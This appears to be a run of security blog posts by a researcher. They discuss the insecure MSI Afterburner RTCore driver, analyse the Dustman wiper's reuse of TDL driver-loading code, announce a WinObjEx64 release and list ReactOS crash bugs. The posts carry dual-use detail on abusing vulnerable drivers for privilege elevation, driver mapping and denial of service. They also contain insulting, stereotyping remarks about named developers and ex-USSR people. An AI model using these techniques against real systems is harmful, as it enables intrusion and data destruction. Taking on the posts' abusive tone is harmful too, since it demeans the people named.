RTCore is a name of kernel mode driver used by MSI Afterburner software (https://www.msi.com/page/afterburner), quote "The world’s most recognized and widely used graphics card overclocking utility which gives you full control of your graphics cards". There are exist two variants of the RTCore driver, built from the same source - RTCore64.sys and RTCore32.sys, each for respective platform. This driver provides access to the physical memory, CPU MSR's, I/O ports read/write. Applications interact with driver via API layer implemented in RTCore.dll which is also a part of MSI Afterburner installation. Basically it is a simple "giveio" type helper driver.

This driver is a subject of legacy code, derived in mostly unmodified state likely from time when Windows XP (or even Windows 2k) was all new and shiny. That mean it doesn't care about security. Latest available RTCore drivers is able to run on most recent Windows 10 where enforced security was enabled. Historically RTCore is a part of RivaTuner code. In a short, RTCore is a wormhole.

Security issues of RTCore known for a long period of time, got various CVE id's and even caused author - Alexey Nicolaychuk aka Unwinder to publicly bitch about yet another publication (https://github.com/Barakat/CVE-2019-16098). TL;DR according to Alexey, no one notified him before publication, so it wasn't a "responsible disclosure". 

Is that true? Of course not, he was aware of this RTCore "feature" at least from 2016, see next.

It is worth to mention that I was using RivaTuner back to the 1999 and early 200x on Riva TNT2 next GeForce 2 MX400 and GeForce 3 Ti200 and this utility was indeed very helpful at that time. Than I got enough money to buy better hardware and RivaTuner moved to the Recycle Bin.

Response to CVE-2019-16098
No doubt his code and everything based on it is still very useful for a lot of people. However Alexey attitude to security of his products can only be described as "weird". This can be described by idiom "You can't teach an old dog new tricks".

Pic 1. Unwinder response to CVE-2019-16098.
Alexey probably unaware that this kind of bugs (vulnerabilities in third party drivers and especially in various utilities from hardware vendors) are common for years, and under "years" I mean YEARS (e.g. CVE-2008-5725). We still here and no apocalypse happened. He was so upset that he decided to write to the author of the exploit both on the github and on Twitter some mocking messages. Have no idea, probably if there was Facebook somewhere he would post here too, or already did? Well, what can I say, are you in need of some medicine, Alexey? This attitude is a common for some ex-USSR people who believe that sun is spinning around them and everybody owes something to them.

The Jar of Worms*
*(c) Unwinder, 2019
To understand what does this mean lets take as example UnknownCheats forum (UC) - probably the leading platform for game cheats developers available today. By it impact to the game cheats it probably can be compared to the wasm.ru impact on sophisticated malware development. Here, just by using forum search, you can find a multiple vulnerable drivers (even packs of them) with some already used in game cheats to bypass anticheat software. They use this for years and most of information freely available for both cheat/anticheat developers and very well indexed by search engines. Github is full of projects (of various quality) from UC members involving usage of these vulnerable drivers - these projects are provided as-is to everyone on various programming languages. While being written by mostly kids of school or college age 

Pic 2. Typical UC thread content

they are usable as all you need from this is a concept.

Why there is no multiple use in malware area and where is the "jar of worms" located? So far this jar of worms exist only as Unwinder wet fantasy. If Alexey was not an amateur in the area where he is trying to picture himself as an expert (or if we go down to the Unwinder comments level - wannabeexpert) -  he would know about modern Windows security boundaries and thing called practicability. Difference between intentional and unintentional/forced usage. In cheats area - game hack users are actively involved in bypassing security mechanisms because they want to play with cheats and they ultimately looking for a way to do that. In malware - users are victims and while they can be social-engineered to bypass basic Windows security mechanisms in favour of malware needs, malware still will have to deal with Windows security. That moves practical usage of this drivers to the very specific APT area. 

RTCore problem
After dealing with "jar of worms" (yeah I like that) we suddenly discovering that RTCore author seems absolutely do not understand the "core" problem of his RTCore. Here is it, Alexey, specially for you - who are ignoring OS security model for decades, I'm showing you exact problem of your wormhole by design software.

Pic 3. RTCore DriverEntry.

Quote from MSDN

IoCreateDevice can only be used to create an unnamed device object, or a named device object for which a security descriptor is set by an INF file. Otherwise, drivers must use IoCreateDeviceSecure to create named device objects.

What happens here. When MSI Afterburner loads RTCore32/64 driver, it device object will be created with a default security descriptor. Which means literally any logged user on this machine can access this driver through it device with read/write permissions.

Pic 4. RTCore64 device security permissions.

RTCore gives you ability to read/write to the MSR's, I/O ports and memory. The first use of this RTCore "design" demonstrated by CVE-2019-16098 - elevation of privilege via typical EPROCESS structure modification. Another one (since this driver has ability to read/write arbitrary kernel memory) is driver mapping - something similar to TDL/Stryker/CapCom and multiple other mappers based on vulnerable third-party drivers. Since there is also feature to read and write to MSR's and ports - this makes RTCore awesome for exploiting.

Normally if your driver is something more complex than kernel mode "hello world" and has data read/write to user mode it must contain security checks. For example you can limit access to your driver using IoCreateDeviceSecure or/and check security context in your IOCTL handler, requester privileges etc - there are many ways to do that in the *right way*. If you for some reason cannot use shiny new APIs (for example, you are supporting Windows 2k 👻) you still can secure driver device using Rtl SD/Ace/Dacl documented APIs and ZwSetSecurityObject. It is not a problem.

The lack of security checking is a very common problem for software supposed to work with hardware. Few examples:system utilities (CVE-2017-15303), overclocking and other software from GPU/hardware vendors (CVE-2018-18536, CVE-2019-8372), hardware monitoring utilities (CVE-2018-8060, CVE-2018-8061), bios flashers (CVE-2019-5688) etc. A lot of them. Practically ALL drivers of that kind that I was investigating were vulnerable or based on vulnerable code. 

Pic 5. Choose your exploits provider.
If you need an example, here is it https://github.com/QCute/WinRing0/blob/master/dll/sys/OpenLibSys.c. This is open-source OpenLibSys driver from hiyohiyo who are now supposedly author of CrystalMark. The following driver named WinRing0 and used in multiple products up to date in mostly unmodified state (as WinRing0.sys, WinRing0x64.sys, could be different names). It lacks any security checks and just a wormhole driver by design. Its irony, but it has been reported as CVE-2017-14311 exploit for Netdecision 5.8.2 software few years ago. This driver is still used in various products in unmodified state. Here is a simple example how any unprivileged user can read/write to physical memory with help of that driver shipped together with EVGA Precision X OC v6.2.7. Probably this can be improved to local privileges elevation exploit similar to  CVE-2019-8372.

There is a nice collection of this kind of drivers with brief descriptions made by Eclypsium, https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md Please note that some vendors already provided new versions with improved security (for example Intel) and this list is incomplete, also you still can find exact old vulnerable drivers and use them.

If you look on "giveio" drivers from various vendors you will notice - they all almost the same, they only differ little in some implementation details and internal structures used to communicate with user mode. And they all of course signed 😊

RTCore wormhole*
*(c) hfiref0x, 2020
CVE-2019-16098 was targeting exact MSI Afterburner version -, it is Afterburner 4.6.2 Beta 2. However given exploit will work with older versions of MSI Afterburner as they include same driver. In the next Afterburner version Unwinder proposed a fix for this CVE, you can find a little about it in the changelog (https://www.guru3d.com/files-details/msi-afterburner-beta-download.html

"Updated IO driver provides more secure MMIO and MSR access interface". 

More precisely it means that memory mapping IOCTLs now work only for hardware IO reserved address ranges. And he banned arbitrary MSR read/write, setting up restrictions on their IOCTLs. Driver also got EV certificate. This interesting though this exact "fixed" RTCore present only since MSI Afterburner 4.6.2 Beta 3, while it is pretty much similar to fixes announced by Unwider three years ago in comments to the rewolf post - MSI ntiolib.sys/winio.sys local privilege escalation

Pic 6. RTCore fix, announced in September 2016.

Even if this is, judging from Unwinder comment, partial fix - it is notable this updated RTCore component wasn't distributed with MSI Afterburner, until Barakat published his proof-of-concept and got CVE. How much other software with bundled RivaTuner code still not updated their RTCore related code base (even if these components may have different names)? Speaking about ethics, which is mentioned by Unwinder in above response to CVE-2019-16098, how does that correlates with it too? You have extremely vulnerable driver which code base used by different products, you have produced some "security related" changes, and for three years didn't even updated your own MSI Afterburner. Just because no one gives a single fuck until you got upset with publicly available CVE forcing you to jump to the twitter/issues shitpostings. This is hilarious, Unwinder. 

Okay, additions he made makes sense and question is only why there weren't here from the beginning. But seriously, is that the only problem this guy found? 😊 While Unwinder really likes to go on demagogy discussions about Windows security model, he still doesn't know how to use wdmsec.lib, maybe because MSI Afterbutner RTCore driver got compiled in something like Visual Studio 2005/2008 with DDK likely from Windows XP/Vista. No joke, just look at this driver structure. As you understand we still can use this driver for a range of bad things. For example for Denial of Service attack.

This is simple proof-of-concept code for "fixed" RTCore from MSI Afterburner release, it will write specific data to the I/O port to initiate immediate system reboot which can lead to data loss and/or potential hardware damage. From unprivileged, guest, whatever account. This of course will also work for previous variants of RTCore if they support required IOCTLs. That is not all - this driver still has a lot of potential, because there are multiple other IOCTLs.

The simple solution to that wormhole named RTCore is to move it into OS security boundary and stop bitching about self-made problems as Unwinder still does. Or do as I did many years ago - throw all these CD/DVDs supplied by GPU vendors with their crapware to the trashcan along with their authors as an ultimate solution to the security of this vector.
✇The Vault

Dustman APT: Art of Copy-Paste

By: hfiref0x
Dustman is a piece of data wiping malware with origin believed to be from Iran or if you like - quote from zdnet.com "Iranian state-sponsored hackers". 

There is a full technical overview of this malware -> https://www.scribd.com/document/442225568/Saudi-Arabia-CNA-report, I wouldn't waste time fully repeating it, as it gives a brief and enough description of this malware key parameters and capabilities.

Usually I pay zero attention to typical APT hysterics and low quality malware pushed by mass media/various fakeAv's as "incredible sophisticated" spyware/whatever. With exception if there is anything related to my work, for example copy/pasted from it. Just like in this case.

This is believed shared code with another data wiper called "ZeroCleare" - and IBM did analysis with 28 page PDF where they managed to copy-paste from my github repository without even giving a single credit or link to original. Well, ok, fuck you too IBM IRIS rippers 💩

Why this thing called Dustman? Well authors of this malware were lazy and left full pdb string inside main dropper C:\Users\Admin\Desktop\Dustman\x64\Release\Dustman.pdb. This doesn't look like fake and left because Visual Studio (and this one created in it) always sets debug information to Release builds by default (Project settings->Linker->Debugging). It is something from series of small tips just like if you are wondering why some of rootkits pdb paths always at Z: drive - easy to use hotkey while debugging on VMware.

Dustman main executable is a muldrop (SHA-1 e3ae32ebe8465c7df1225a51234f13e8a44969cc). 

It contain three more files stored inside executable resource section. They are encrypted with simple xor.

for (ULONG i = 0; i < (ResourceSize / sizeof(ULONG_PTR)); i++)
        Buffer[i] ^= 0x7070707070707070;

Resource with id 1 (decrypted SHA-1 7c1b25518dee1e30b5a6eaa1ea8e4a3780c24d0c) is a VirtualBox driver. It is ripped by me from WinNT/Turla (another APT, this time "believed" to be from GRU GS AF RF, that one by the way also had some references/inspirations of my/our previous work). Dustman author(s) got it from my github repository called TDL - Turla Driver Loader (https://github.com/hfiref0x/TDL), well not only that driver, half of their work actually blatant copy-paste of this repository.

Resource with id 103 (decrypted SHA-1 a7133c316c534d1331c801bbcd3f4c62141013a1) is Eldos RawDisk modified driver (version It is modified by Dustman authors by removing digital certificate from it. Currently I have no answer why they did this, except Eldos RawDisk certificate is widely blacklisted or detected by intrusion prevention systems/AV as possible sign of threat as it was used before multiple times in different malwares (https://attack.mitre.org/software/S0364/)

Resource with id 106 (decrypted SHA-1 20d61c337653392ea472352931820dc60c37b2bc) is malware agent application that is intended to work with Eldos RawDisk to perform data wipe. It contain pdb string C:\Users\Admin\Desktop\Dustman\Furutaka\drv\agent.plain.pdb which is giving you insides on VS solution structure. Furutaka is an internal name that I gave to TDL project executable.

Initial dropper is a modified version of original TDL (Furutaka) version 1.1.5, so it is relatively new, as this is final version in that repository before it was archived at April 2019. Just to show you how much Dustman authors copy-pasted, here is a screenshot of functions which I was able to identify in this malware (while rest of them are various trash from MS runtime).

Pic 1. Dustman dropper functions.
It seems Dustman author(s) simple took TDL solution and then modified it by removing console/debug output in code and adapting it for their specific tasks - decrypt, drop resources to the disk, load RawDisk driver and start agent application at final stage. Lets take a look on modifications made by Dustman author(s).

At main (which is a heavily modified TDLMain from original TDL) right at the beginning Dustman attempts to block multiple copies from installing VirtualBox/mapping Eldos driver by setting mutex with a very specific name "Down With Bin Salman". I do not want to dig into politics and other bullshit but I would like to suggest in case if this is false flag operation (surprise, but we will never know this) use something more creative - like for example "Coded by Soleimani" or "(c) 2019 IRGC", "covfefe" is fine too. If I would doing APT of such kind I would at first refrain from creating such wrong and stupid mutexes or build their unique names based on current environment without using any idiotic constants. Another fun message hidden inside agent executable (dropper resource 106 as mentioned above) "Down With Saudi Kingdom Down With Bin Salman" - very creative (not). Eldos license key is hardcoded in agent executable as "b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d".

Back to initial dropper, supQueryResourceData (https://github.com/hfiref0x/TDL/blob/master/Source/Furutaka/sup.c#L99) is modified by adding xor decryption loop mentioned above. Below is screenshot of TDLStartVulnerableDriver routine slightly modified by removing console output, code responsible for backup and new file name for dropped file.

Pic 2. TDLStartVulnerableDriver copy-paste.

Original routine https://github.com/hfiref0x/TDL/blob/master/Source/Furutaka/main.c#L498

Assistant.sys here is VirtualBox driver which is loaded as shown on picture above. Have no idea why Dustman authors left VirtualBox USB/Network drivers unload code intact. In original TDL this is required to load driver on machine with VirtualBox installed and this is requirement because VBoxHardenedLoader is depends on this. However this is not required in APT and can be removed, but it seems Dustman author(s) had mediocre understanding of what they are doing. It is a little doubtful that target machines has VirtualBox running which can produce incompatibilities with TDL.

Our next stop is TDLMapDriver routine. In original TDL proof-of-concept it setups shellcode that next will be executed in kernel by VBoxDrv, maps input file, processes it imports and merges it with shellcode. Next VBoxDrv memory mapping executed and finally exploit called. In shellcode original TDL allocates memory for driver mapping using ExAllocatePoolWithTag routine with tag 'SldT' (Tdl Shellcode), processes image relocs, creates system thread (PsCreateSystemThread) with parameter set to driver entry. TDL mapped drivers must be specially designed as DriverEntry parameters in such way of loading will be invalid. Finally thread handle closed with ZwClose. Function pointers passed to shellcode through registers by small bootstrap code which is constructed in user mode. Dustman author(s) modified this loading scheme in the following way: 

1) Encryption for module/function names, funny note that the following string used to decrypt strings in runtime "I'm 22 and looking for fulltime job!". Because this is copy-paste from open source and original TDL is very well detected by various fakeAVs (https://www.virustotal.com/gui/file/37805cc7ae226647753aca1a32d7106d804556a98e1a21ac324e5b880b9a04da/detection) this maybe an attempt to remove some of these detections.
2) They remember ExAllocatePoolWithTag, PsCreateSystemThread and IoCreateDriver however they never use PsCreateSystemThread despite checking it resolving success and instead in their shellcode simple call IoCreateDriver with pointer to driver entry point as InitializationFunction param.

Since IoCreateDriver expects DriverName as pointer to UNICODE_STRING modified shellcode also contain "\Driver\elRawDsk" string stored as local array of bytes. IoCreateDriver will create driver object with specified name and pass it to the InitializationRoutine as parameter, exactly what Eldos RawDisk need at it driver entry. Thus original TDL limitation bypassed and mapping code can work with usual drivers. As result of successful exploitation Eldos RawDisk will be mapped to the kernel and it DriverEntry executed.
Pic 3. Eldos driver object as seen by WinObjEx64.

Because driver was mapped without involving Windows loader it doesn't have corresponding entry in PsLoadedModulesList therefore WinObjEx64 shows it driver object major functions as belonging to unknown memory area which is always automatically suspicious and usually mean kernel mode malware activity. While Eldos RawDisk DriverEntry execution it creates a symbolic link to provide access for the applications. It also can be seen with WinObjEx64.

Pic 4. ElRawDisk symbolic link.
Here is a mystery or at least question. Why do they use TDL at all? If you look at Eldos RawDisk previous versions, for example https://www.virustotal.com/gui/file/c5c821f5808544a1807dc36527ef6f0248d6768ef9ac5ebabae302d17dd960e4/details you will notice it is digitally signed. As I said at the beginning of this post there can be IPS/AV blocking Eldos driver by it certificate. However why use Eldos RawDisk if you can write your own driver which will be much simpler/smaller (because it will miss useless license check) and use it with TDL? It seems author(s) of Dustman prefer simplest ways and incapable of writing anything beyond simple copy-pasting with small additions. State sponsored hackers, rofl? It of course depends on effectiveness of such methods but I think someone need a bigger budget. However if you take this entire Dustman as false flag operation it looks pretty much ok, because Dustman thing can be built in 4-5 hours and cost almost nothing, while doing severe impact as informational warfare.

A little about agent application, a little because as fact there is nothing interesting inside. It is built as typical C++ MS runtime based application full of ineffective code unrelated to main purpose - wipe data on disk. To do this agent calls Eldos RawDisk with mentioned above license. As data to fill it uses "Down With Saudi Kingdom Down With Bin Salman" string. If agent launched without elevation it will crash with error due to its code quality, state sponsored hackers do you remember?

Pic 5. Wipe in progress.
✇The Vault

WinObjEx64 v1.8.3 release

By: hfiref0x
This is maintenance release. It contain only internal program changes, small bugfixes (e.g. current directory affects plugins availability in case if program restarted elevated/or as system) and little usability improvements (rescan option for system call tables dialog). No new features have been added. Unfortunately I wasn't able to test latest 20H2 builds as they apprears to be unstable and I'm having issues with their install.

Link to download
✇The Vault

Is ReactOS Great Again (2019)?

By: hfiref0x

ReactOS fanboys warning



About year ago I’ve published “Making ReactOS great again, part 1” (brief MRGA, posted at kernelmode.info) where described a current state of this meme project (tl;dr homemade Windows NT clone with massive masqueraded copy-paste and borrowings from Microsoft OS as results of it reverse-engineering/leaked source usage). I didn't use “academic project” here, because ReactOS is rather anti-academic than something, that one can study for good. ReactOS code and its developing methods is a monument of anti-patterns, and it seems that it exists only for fun and profit of its few developers/project manager. Back to the first MRGA article – it showed overall low quality of the project's code and developers inability to improve it for years due to multiple reasons, dev's team selecting most funny ones as excuses for their failures. I gave them a dumb simple syscall fuzzer (that they were unable to write for 20 years) and highlighted over 30 critical system bugs discovered with it help. I have been planning about 5 or 6 parts of MRGA journey that giving developers of this meme OS more critical system bugs in different areas (discovered by the way in less than two weeks, 😊).

What were expectations from MRGA post? At first, you should understand that several people spent their years of youth involving in this particular project, so they created a virtual area of significance from that fact. It is like that you have Windows NT operating system clone in your portfolio that should clearly make you an uber expert in OS development. Or make you top tier security/software engineer from initially been a mediocre level reverser of crackmes. So when someone begins to criticize their previous work, entire area of significance shaking as hell too. But only if you are dumb attention whore of course. Or never learning idiot. Because obviously if people are talented – when they grown up they are capable of rethinking their past work and capable of self-criticism. Unfortunately (I'm joking, actually I enjoyed it) MRGA post immediately revealed a nature of some people, put their butt-hurt to the incredible level (so some of them even tried to do a spam campaign against MRGA publication). A toxic community of ReactOS current and previous developers/users completely lacking any self-criticism, full of hypocrisy, incompetence embedded into their own virtual world, guys who build their area of significance on others people work they actually stole / borrowed / adapted at the best. My expectations were exceeded in a bad way and I revised a strategy of my work with such “contingent”. Instead of giving them another bunch of their bugs for fix (together with another portion of critics) I decided to wait a little, accommodating their project development timeline, giving them enough time to develop and apply all required fixes. It’s decided to wait an year, passing few major releases. It is now December 2019 – an year after MRGA Part 1 post and it is time to check results and try to figure out why it is that bad (spoiler alert).

Part 1. The Fixes

A little of. With some unfortunately fixed in a wrong way😄 Note that I tested both 4.12-release and 4.14-dev versions. The first bug in list at MRGA Part 1 was ntoskrnl.exe (NT core) service NtAllocateUuids (ROS_NTOS_BSOD_004, names are numerological sequence of initial discovery). It has been fixed by added missing input parameters validation. As well as NtDisplayString (ROS_NTOS_BSOD_003). They also removed debug breakpoint set into NtRaiseException (ROS_NTOS_BSOD_005) thus resolving another issue. Missing parameters validation added to the NtSetUuidSeed (ROS_NTOS_BSOD_009). Additionally they managed to fix NtCreatePagingFile (ROS_NTOS_BSOD_053) which was a part of BSODScreen screensaver that I exclusively presented to ReactOS. Spoiler alert: do not worry this screensaver Easter egg functionality will return (near the epilogue part) 😊 

The last one ntoskrnl syscall dumb fuzzing bug was in NtUnloadDriver (ROS_NTOS_BSOD_007). It also got attention from ReactOS developers. Unfortunately when something more complicated pop ups ReactOS devs gives up. This service is a best example of a failed fix. Initial problem with this service was absence of input parameter validation, so code was dereferencing invalid pointer resulting in Blue Screen Of Death. They tried to apply fix to that by checking input parameter and then capturing it into safe buffer allocated on service side. Unfortunately the logic of this function is screwed up so this bugfix is only partial and works only with ROCALL (syscall fuzzer mentioned above). Input parameter they attempt to validate and latter use from safe kernel allocated copy is a pointer to UNICODE_STRING. In ReactOS it is equal by it definition to the Microsoft ones, this is basically a buffer with given maximum and current length in bytes.

If you look on IopUnloadDriver implementation (https://github.com/reactos/reactos/blob/5706f6e9f4b237ada8098938ca2d4580f28d458a/ntoskrnl/io/iomgr/driver.c#L1187) you will see they attempt to work with UNICODE_STRING buffer without proper verification of it length. You probably know what comes next 😃 I took original BSOD generator code and upgraded it for this "fix".

This ReactOS patch code was written in the beginning of 2019 and wasn't modified since that time, leaving this bug without any attention for a few releases. Lol, this is "academic" quality code.

Pic 1-1. ReactOS fix in a nutshell.
Already fun, isn't it? 😊 Feels like a "Kvality" bugfix.

Pic 1-2. "Kvality".
After brief looking on other fixes they have made before MRGA publication (syscalls affecting registry routines) it looks like NtDeleteValueKey is still suspiciously friendly for some type of attack. However exploiting this bug/feature requires lots of code. ReactOS is missing anything that uses required functionality, and using existing drivers from Windows will highly likely not gonna work because system won't be able to handle these drivers correctly. The only option left is own made, but this require more code, so it is out of the scope of this post.

Another fun service is NtQueryOpenSubKeys (ROS_NTOS_BSOD_052). Why I pay attention to it? While it wasn't in list of fixed after 4.10, it is related to subset of NT APIs they were refactoring to get rid of bluescreens. In initial MRGA post I mentioned that some of their syscalls are subjects of "time-of-check to time-of-use" bugs (race conditions). I even provided them example with such bug in NtQuerySecurityObject (ROS_NTOS_BSOD_050). Year after I look at "fixes" and what I see is terrible. This syscall source https://github.com/reactos/reactos/blob/167bffd80fb8189de34007d78e697af4444cf533/ntoskrnl/config/ntapi.c#L1469-L1547. And here is how to crash it.

Pic 1-3. ReactOS typical state.

Not the first and not the last bug of this kind in ReactOS. 

Total number of bugs discovered by ROCALL in December 2018 in ntoskrnl was 10 for 0.4.10-release and 5 for 0.4.12-dev. How many is that? 

In total, ReactOS has 296 syscalls (they copycat W2k3) with 54 of them are stubs returning status code STATUS_NOT_IMPLEMENTED. Several syscall implementations contain only parameters checking and nothing else, code suddenly drops UNIMPLEMENTED and quits. Additionally some bugs in their syscalls cannot be revealed by current version of ROCALL because it does only basic brute-force. ReactOS syscall implementations sometimes incomplete, some parameters that are valid and used in Windows are unreferenced or defined as "Unknown". Thus everything from above reducing possible bug rate. About 4% (0.4.10-release) and 2% (0.4.12-dev) of their system call table were affected with critical bugs. For ntoskrnl syscalls only estimated bug rate was approximately 5% (with both ROCALL + bugs discovered differently). They fixed everything found by ROCALL (keep in mind NtUnloadDriver is still bugged). So it is good to see at least some adequate reaction on their own bugs. What about win32k?

Part 2. The Blue Screens Festival

Are you curious about what was not fixed? Everything(!) else of MRGA Part 1. Maybe because:

Pic 2-1. This is Fine.
This is no joke. Nothing else touched and their Win32k is a collection of mistakes and "kvality" code which makes me suffer only from watching it.

Pic 2-2. Please No.
The reason why it is not fixed maybe the believe that these APIs are never being called from user mode out of scope of user32/gdi32, where syscalls usually wrapped in the "kludges" of sanity checks, yeah parameters checking in user mode, need an expert on boundaries determination here to explain that 😄 That's interesting inverted logic because it can apply to several ntoskrnl syscalls too, for example for NtCreatePagingFile which they managed to fix. If you have system call that is callable from user mode, it parameters maybe validated prior in user mode wrapper function and must be validated in service on kernel mode side, period.

In total x86 ReactOS has 682 win32k syscalls in "checked" build and 676 in "free" (full list ntos+win32k https://gist.github.com/hfiref0x/16cc7a1f72cfebcce5810509ffd13b98). The only difference between "checked" and "free" versions of ReactOS win32k syscall table in a few stubs added near the end of table. Don't know if they use anything except "checked" build. Win32k syscalls have same limitations as ntoskrnl one (with different number of unimplemented, partially implemented ones, of course), plus additionally several of them require CSRSS context for successful call. Overall ROCALL-only affected bug rate is around 4% with total estimated bug rate exceeding 10% (not all of them are bluescreens or hangs OS but some of them produce undefined behavior which may latter affect OS stability).

These are the tests you deserve

In my opinion, after checking their source code, only a coupe of ReactOS developers are familiar/know with what they do, while others simple do copy-pasting with some perverted logic. My favorite code authors of course are from win32k area. Let's take an example, or how do they write tests. Our example is a win32k service NtUserGetClassInfo (bug id is ROS_NTUSER_BSOD_019). This bug cannot be found by ROCALL as triggering it requires successful preconditions. This service implements what is known as GetClassInfo in user32.dll. It has designated test file https://github.com/reactos/reactos/blob/62f6e3b397f54b95df1496d742732bca8ee07b04/modules/rostests/apitests/win32nt/ntuser/NtUserGetClassInfo.c This test is bad as it doesn't provide full coverage of function parameters usage. If you look on NtUserGetClassInfo implementation you will notice exceptionally dumb bug https://github.com/reactos/reactos/blob/0749a868fcae2f7c0963b7cc010aa622d2515c6c/win32ss/user/ntuser/class.c#L2758-L2764

I took this original test and merged it into kvality call example (code is missing syscall gate implementation, but you can find it in my win32u dll I built for ReactOS, links in the end of post).

Pic 2-3.Kvality test.

Looking at the same source file we can easily spot another bug, this time it is insufficient input parameters validation of NtUserGetClassName (ROS_NTUSER_BSOD_020). Source https://github.com/reactos/reactos/blob/0749a868fcae2f7c0963b7cc010aa622d2515c6c/win32ss/user/ntuser/class.c#L2788-L2820. They probing ClassName UNICODE_STRING parameter and saving it to the local copy. Next this local copy used in subfunction UserGetClassName where it eventually does operation with non validated unicode string buffer. This is a popular bug among ReactOS developers.  
Pic 2-4. NtUserGetClassName result.

If you think this is just a one bug of this kind you are mistaken. Most of ReactOS tests are incomplete and only designed to test key functionality and/or if it is callable at all or not. Whats happening when you have such approach? Obvious bugs are not caught for years. Another example is NtGdiGetPath (ROS_NTGDI_BSOD_017). This is kernel mode implementation of gdi32 GetPath function. You can find only a basic test in ReactOS for this function and it is bad as usual. This bug cannot be found with ROCALL as it requires successful preconditions, https://github.com/reactos/reactos/blob/6416ee982fae08766478784adedae54cca7c0869/win32ss/gdi/ntgdi/path.c#L2689-L2735. As commit history shows this file is rarely modified and nobody actually do audit that code.
Pic 2-5. GetPath result.

Several implemented services doesn't have any tests at all. With overall "outstanding" coding kvality of win32k components all of them are potentially sleeping BSOD-generators. E.g. NtUserThunkedMenuItemInfo (ROS_NTUSER_BSOD_049). https://github.com/reactos/reactos/blob/893a3c9d030fd8b078cbd747eeefd3f6ce57e560/win32ss/user/ntuser/menu.c#L6341-L6369, indeed what could be wrong here.

Pic 2-6. NtUserThunkedMenuItemInfo result.

This is ridiculous, isn't it? In the same source file another bugs stay unfixed for years. E.g. meet NtUserGetMenuItemRect (ROS_NTUSER_BSOD_048), https://github.com/reactos/reactos/blob/893a3c9d030fd8b078cbd747eeefd3f6ce57e560/win32ss/user/ntuser/menu.c#L5887-L5949. It looks like all this written by single author who equally incompetent in both writing code without undefined behaviors and in user mode parameters probing.
Pic 2-7. NtUserGetMenuItemRect.

Lots of blue screens! This code base is bugged like hell. Sometimes single function contain multiple bugs. Have no idea how it is possible with all these years in development that they never look at their code before and only after it crashes with an error. Have a look at NtUserCallOneParam (ROS_NTUSER_BSOD_044) https://github.com/reactos/reactos/blob/94a42d43b59e59aa3995248577e74588af6727ea/win32ss/user/ntuser/simplecall.c#L357-L383. How it is possible that GetProcessDefaultLayout (which is user mode caller of this code) is never got any tests for all these *years* in development?
Pic 2-8. Common bug result.

You can find a lot of similar bugs by just walking their win32k designated source tree. Twenty one year of development, do you remember that? 👌 Ironically one of most active ReactOS developers even have dedicated blog post entry - "How do security issues happen?" https://reactos.org/node/932, it is enjoyable read especially if combined with watching their blue screens generator code later.

Part 3. Regressions

Since last year check stability of some components like for example BTRFS seems degraded and now this FS doesn't save ReactOS from re-installation in case of BSOD in their current 4.14 dev version. Previously you had a good chance to survive when another portion of "Kvality" code executed in a bad way, but not now. You either stuck with infinite loop of reboots, stuck on damaged registry message or stuck on login(!) screen where you cannot login because... keyboard no longer works 😆 However this maybe a glitch of just a current dev version and maybe in 4.14 release this won't be that terrifying. So I was forced to use 4.12 and load 4.14 only for code compatibility tests because 4.14 is basically unworkable even by ReactOS standards.

Pic 3-1. You Shall Not Pass.
Also really great start of this system after clean installation (which by way can also be easily screwed up into infinite loop of reboots - just try to do install with formatting already installed ReactOS copy), a setup window that immediately produced crash. That is something new in ReactOS I've never seen before.

Pic 3-2. Installation completed.
By the way if we speak about memory access exceptions and overall memory manager implemented in ReactOS. It seems it have big problems (subset of ROS_MM_0XX ids) as code perfectly working in Windows 2000/XP/2003 (and passing checks/verifier) fails to work correctly on ReactOS, which is supposedly must support same set of environment. While writing fuzzers and reverting ReactOS endless blue screens I stuck with MmMapLockedPagesSpecifyCache incorrect behavior resulting in system hang where it must work - this ruined one of my attempts to reanimate ReactOS after another BSOD😅

Back to BTRFS, was this regression hard to expect? Not really if you are slightly common with development of this OS. There is an interesting ReactOS pull request https://github.com/reactos/reactos/pull/308. This is code created by talented ReactOS follower which purpose is to actually make ReactOS better (not great but still better than what it is). This PR is stuck on ReactOS main devs incapability to do anything on their own. If only half of their pettiness (in identifying line breaks, indents and additional spaces, between lookthereisnospacesandtypo here) was used to audit the code, the next idiotic code would never have been in the repository for years
https://github.com/reactos/reactos/blob/893a3c9d030fd8b078cbd747eeefd3f6ce57e560/drivers/usb/usbhub/usbhub.c#L216-L256 (Spoiler alert, no lock release, using IRP pointer which is no longer valid and cannot be safely dereferenced, ROS_USBHUB_001, ROS_USBHUB_002). Very strange isn't it? Not really, if they pass commits of this quality -> https://github.com/reactos/reactos/commit/5538facfdd0edd11038f9dd00bb4a6afec440403, spoiler alert, there is possibility of invalid handle passed to CloseHandle. All spaces/line breaks, indents are in place so it managed to get into master, sarcasm. It seems ReactOS devs treat their development too seriously, especially if you look on it miserable results. They are preferring matching their idiotic criteria of coding style/contribution above actual code and what it does. In the same time this project is full of code that does not match their own criteria and they are okay with that. What is the point then? Find a monkey that can insert correct number of indents, spaces, can set up braces in a beautiful way and declare magic values as consts.

I would like to wish Vadim (he also builds custom ReactOS images, check them out) to find a better use of his talents and don't waste his time with such mediocre projects with no particular purpose or future. 

Part 4. Use Cases and ReactOS myths

Firefox and it suffering

Okay, maybe there were any improvements for simple use case? Snapshot reverted to clean ReactOS state just right after installation completed. For easy access to applications that are somewhat compatible with ReactOS it provides Application Manager (💩 a moment when typical Linux + Wine is more compatible with Windows programs than designated NT clone). We are looking of course for browser for better and exciting experience from ReactOS. I chose Firefox for obvious reasons. Once installed it asked for update (well no surprise, it is version 48, almost 4 years old). Update successfully downloaded and even somewhat installed (entire OS was lagging during this process). After update process has ended I was unable to run Firefox, the process is deadly stuck in task manager. Okay, maybe I need restart my system, well you know you always reboot your PC after installing web browser. Unfortunately this particular use-case ends here. Because of this after reboot.

Pic 4-1. Use Case End.

ReactOS myths

